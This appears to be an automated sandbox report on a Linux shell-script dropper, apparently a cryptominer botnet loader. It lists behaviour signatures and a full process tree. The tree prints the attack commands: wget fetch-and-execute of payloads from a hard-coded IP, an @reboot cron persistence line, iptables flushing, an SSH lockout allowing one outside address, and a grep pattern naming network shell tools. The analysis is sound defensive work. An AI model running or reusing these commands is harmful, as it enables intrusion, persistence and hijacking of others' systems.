Analysis

  • max time kernel
    99s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15/04/2026, 14:30

General

  • Target
    sh
  • Size 2KB
  • Sample260415-rt9ypahs9n
  • SHA256 219d879522b3cfc498ab3e2597dcce3b96c41e7f4154fa0205922f1f283f71d3
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Contacts a large (179998) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Creates Raw socket 1 IoCs

    Creates a socket that captures raw packets at the device level

  • Executes dropped EXE 1 IoCs
  • Flushes firewall rules 1 TTPs 6 IoCs

    Flushes/ disables firewall rules inside the Linux kernel.

  • Attempts to change immutable files 24 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads network interface configuration 2 TTPs 9 IoCs

    Fetches information about one or more active network interfaces.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 28 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
    • Executes dropped EXE
    PID:653
    • /bin/cat
      cat /proc/mounts
      2⤵
        PID:662
      • /usr/bin/awk
        awk "{print \$2}"
        2⤵
          PID:665
        • /bin/grep
          grep noexec
          2⤵
            PID:663
          • /usr/bin/whoami
            whoami
            2⤵
              PID:678
            • /usr/bin/find
              find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*"
              2⤵
              • Reads network interface configuration
              • Reads CPU attributes
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:680
            • /bin/uname
              uname -mp
              2⤵
                PID:768
              • /usr/bin/tr
                tr -d " "
                2⤵
                  PID:773
                • /usr/bin/od
                  od -An -N2 -i /dev/urandom
                  2⤵
                    PID:772
                  • /usr/bin/expr
                    expr 6615 "%" 32 + 4
                    2⤵
                      PID:774
                    • /usr/bin/tr
                      tr -dc A-Za-z0-9
                      2⤵
                        PID:777
                      • /usr/bin/head
                        head -c 27
                        2⤵
                          PID:778
                        • /usr/bin/openssl
                          openssl rand -base64 256
                          2⤵
                            PID:776
                          • /usr/bin/touch
                            touch .testfile
                            2⤵
                              PID:779
                            • /bin/dd
                              dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                              2⤵
                                PID:781
                              • /bin/rm
                                rm -rf .testfile .testfile2
                                2⤵
                                  PID:782
                                • /bin/rm
                                  rm -rf clean
                                  2⤵
                                    PID:783
                                  • /usr/bin/wget
                                    wget --no-check-certificate -q https://46.151.182.82/clean
                                    2⤵
                                      PID:784
                                    • /bin/chmod
                                      chmod +x clean
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:785
                                    • /bin/sh
                                      sh clean
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:786
                                      • /bin/systemctl
                                        systemctl disable c3pool_miner
                                        3⤵
                                          PID:787
                                        • /bin/systemctl
                                          systemctl stop c3pool_miner
                                          3⤵
                                            PID:788
                                          • /usr/bin/chattr
                                            chattr -ia /var/spool/cron/crontabs
                                            3⤵
                                            • Attempts to change immutable files
                                            PID:789
                                          • /usr/bin/chattr
                                            chattr -ia /etc/crontab
                                            3⤵
                                            • Attempts to change immutable files
                                            PID:790
                                          • /bin/grep
                                            grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                                            3⤵
                                            • Attempts to change immutable files
                                            PID:791
                                          • /bin/mv
                                            mv /tmp/clean_crontab /etc/crontab
                                            3⤵
                                              PID:792
                                            • /usr/bin/chattr
                                              chattr -ia /etc/cron.hourly
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:793
                                            • /usr/bin/chattr
                                              chattr -ia /etc/cron.daily
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:794
                                            • /usr/bin/chattr
                                              chattr -ia /etc/cron.daily/apt-compat
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:795
                                            • /bin/grep
                                              grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:796
                                            • /bin/mv
                                              mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                                              3⤵
                                                PID:797
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.daily/bsdmainutils
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:798
                                              • /bin/grep
                                                grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:799
                                              • /bin/mv
                                                mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                                                3⤵
                                                • Reads runtime system information
                                                PID:800
                                              • /usr/bin/chattr
                                                chattr -ia /etc/cron.daily/dpkg
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:801
                                              • /bin/grep
                                                grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                                                3⤵
                                                • Attempts to change immutable files
                                                PID:802
                                              • /bin/mv
                                                mv /tmp/clean_crontab /etc/cron.daily/dpkg
                                                3⤵
                                                  PID:803
                                                • /usr/bin/chattr
                                                  chattr -ia /etc/cron.daily/exim4-base
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:804
                                                • /bin/grep
                                                  grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                                                  3⤵
                                                  • Attempts to change immutable files
                                                  PID:805
                                                • /bin/mv
                                                  mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                                                  3⤵
                                                    PID:806
                                                  • /usr/bin/chattr
                                                    chattr -ia /etc/cron.daily/logrotate
                                                    3⤵
                                                    • Attempts to change immutable files
                                                    PID:807
                                                  • /bin/grep
                                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                                                    3⤵
                                                    • Attempts to change immutable files
                                                    PID:809
                                                  • /bin/mv
                                                    mv /tmp/clean_crontab /etc/cron.daily/logrotate
                                                    3⤵
                                                      PID:810
                                                    • /usr/bin/chattr
                                                      chattr -ia /etc/cron.daily/passwd
                                                      3⤵
                                                      • Attempts to change immutable files
                                                      PID:811
                                                    • /bin/grep
                                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                                                      3⤵
                                                      • Attempts to change immutable files
                                                      PID:812
                                                    • /bin/mv
                                                      mv /tmp/clean_crontab /etc/cron.daily/passwd
                                                      3⤵
                                                        PID:814
                                                      • /usr/bin/chattr
                                                        chattr -ia /etc/cron.weekly
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:815
                                                      • /usr/bin/chattr
                                                        chattr -ia /etc/cron.monthly
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:816
                                                      • /usr/bin/chattr
                                                        chattr -ia /etc/cron.d
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:817
                                                      • /usr/bin/chattr
                                                        chattr -ia /etc/anacrontab
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:818
                                                      • /bin/grep
                                                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                                                        3⤵
                                                        • Attempts to change immutable files
                                                        PID:819
                                                      • /bin/mv
                                                        mv /tmp/clean_crontab /etc/anacrontab
                                                        3⤵
                                                          PID:820
                                                        • /bin/rm
                                                          rm -rf /tmp/sh /tmp/systemd-private-a1e7a6e67002401b950fc2cc681e9079-systemd-timedated.service-qvlVy5
                                                          3⤵
                                                            PID:821
                                                          • /bin/rm
                                                            rm -rf /var/tmp/systemd-private-a1e7a6e67002401b950fc2cc681e9079-systemd-timedated.service-GMgJgW
                                                            3⤵
                                                              PID:822
                                                            • /bin/rm
                                                              rm -rf "/dev/shm/*"
                                                              3⤵
                                                                PID:823
                                                            • /bin/rm
                                                              rm -rf clean
                                                              2⤵
                                                                PID:824
                                                              • /bin/rm
                                                                rm -rf .redtail
                                                                2⤵
                                                                  PID:825
                                                                • /bin/rm
                                                                  rm -rf .Jb2XuLwuzT8FsZs7GMtW5KAnGrn
                                                                  2⤵
                                                                    PID:826
                                                                  • /bin/grep
                                                                    grep -q x86_64
                                                                    2⤵
                                                                      PID:828
                                                                    • /bin/grep
                                                                      grep -q amd64
                                                                      2⤵
                                                                        PID:830
                                                                      • /bin/grep
                                                                        grep -q "i[3456]86"
                                                                        2⤵
                                                                          PID:832
                                                                        • /bin/grep
                                                                          grep -q armv8
                                                                          2⤵
                                                                            PID:834
                                                                          • /bin/grep
                                                                            grep -q aarch64
                                                                            2⤵
                                                                              PID:836
                                                                            • /bin/grep
                                                                              grep -q armv7
                                                                              2⤵
                                                                                PID:838
                                                                              • /bin/rm
                                                                                rm -rf arm7
                                                                                2⤵
                                                                                  PID:839
                                                                                • /usr/bin/wget
                                                                                  wget --no-check-certificate -q https://46.151.182.82/arm7
                                                                                  2⤵
                                                                                    PID:840
                                                                                  • /bin/mv
                                                                                    mv arm7 .Jb2XuLwuzT8FsZs7GMtW5KAnGrn
                                                                                    2⤵
                                                                                      PID:841
                                                                                    • /bin/chmod
                                                                                      chmod +x .Jb2XuLwuzT8FsZs7GMtW5KAnGrn
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:842
                                                                                    • /.Jb2XuLwuzT8FsZs7GMtW5KAnGrn
                                                                                      ./.Jb2XuLwuzT8FsZs7GMtW5KAnGrn
                                                                                      2⤵
                                                                                      • Creates Raw socket
                                                                                      • Reads network interface configuration
                                                                                      • Changes its process name
                                                                                      • Checks CPU configuration
                                                                                      • Reads CPU attributes
                                                                                      • Reads runtime system information
                                                                                      PID:843
                                                                                      • /bin/sh
                                                                                        sh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /.Jb2XuLwuzT8FsZs7GMtW5KAnGrn\" | crontab -"
                                                                                        3⤵
                                                                                          PID:845
                                                                                          • /usr/bin/crontab
                                                                                            crontab -r
                                                                                            4⤵
                                                                                              PID:846
                                                                                            • /usr/bin/crontab
                                                                                              crontab -
                                                                                              4⤵
                                                                                              • Creates/modifies Cron job
                                                                                              PID:848
                                                                                          • /bin/sh
                                                                                            sh -c "iptables -F >/dev/null 2>&1; iptables -I INPUT -p tcp --dport 40089 -j ACCEPT >/dev/null 2>&1"
                                                                                            3⤵
                                                                                            • Attempts to change immutable files
                                                                                            PID:851
                                                                                            • /sbin/iptables
                                                                                              iptables -F
                                                                                              4⤵
                                                                                              • Flushes firewall rules
                                                                                              PID:852
                                                                                            • /sbin/iptables
                                                                                              iptables -I INPUT -p tcp --dport 40089 -j ACCEPT
                                                                                              4⤵
                                                                                              • Flushes firewall rules
                                                                                              • Attempts to change immutable files
                                                                                              PID:855
                                                                                          • /bin/sh
                                                                                            sh -c "iptables -C INPUT -p tcp --dport 22 -j DROP 2>/dev/null || iptables -A INPUT -p tcp --dport 22 -j DROP; iptables -C INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT 2>/dev/null || iptables -A INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT"
                                                                                            3⤵
                                                                                              PID:860
                                                                                              • /sbin/iptables
                                                                                                iptables -C INPUT -p tcp --dport 22 -j DROP
                                                                                                4⤵
                                                                                                • Flushes firewall rules
                                                                                                PID:861
                                                                                              • /sbin/iptables
                                                                                                iptables -A INPUT -p tcp --dport 22 -j DROP
                                                                                                4⤵
                                                                                                • Flushes firewall rules
                                                                                                PID:862
                                                                                              • /sbin/iptables
                                                                                                iptables -C INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT
                                                                                                4⤵
                                                                                                • Flushes firewall rules
                                                                                                PID:863
                                                                                              • /sbin/iptables
                                                                                                iptables -A INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT
                                                                                                4⤵
                                                                                                • Flushes firewall rules
                                                                                                PID:864

                                                                                        Network

                                                                                              MITRE ATT&CK Enterprise v16

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              .testfile2

                                                                                              • Path /.testfile2
                                                                                              • Size 2.0MB
                                                                                              • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                              arm7

                                                                                              • Path /arm7
                                                                                              • Size 1.2MB
                                                                                              • SHA256 3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f
                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                              clean

                                                                                              • Path /clean
                                                                                              • Size 795B
                                                                                              • SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                              clean_crontab

                                                                                              • Path /tmp/clean_crontab
                                                                                              • Size 279B
                                                                                              • SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                              clean_crontab

                                                                                              • Path /tmp/clean_crontab
                                                                                              • Size 1KB
                                                                                              • SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                              clean_crontab

                                                                                              • Path /tmp/clean_crontab
                                                                                              • Size 3KB
                                                                                              • SHA256 a452648bb2e987dfbea6d16656f8009e641b215c69835cee79f108030be8ec7f
                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                              clean_crontab

                                                                                              • Path /tmp/clean_crontab
                                                                                              • Size 722B
                                                                                              • SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                              clean_crontab

                                                                                              • Path /tmp/clean_crontab
                                                                                              • Size 1KB
                                                                                              • SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
                                                                                              • MD5 SHA1 SHA512 TLSH

                                                                                              tmp.DbCgDg

                                                                                              • Path /var/spool/cron/crontabs/tmp.DbCgDg
                                                                                              • Size 213B
                                                                                              • SHA256 cb916a7e560481ba6fdf3c1b534e6df2a5e186f4872e89e5d2ee9e0cfad4cece
                                                                                              • MD5 SHA1 SHA512 TLSH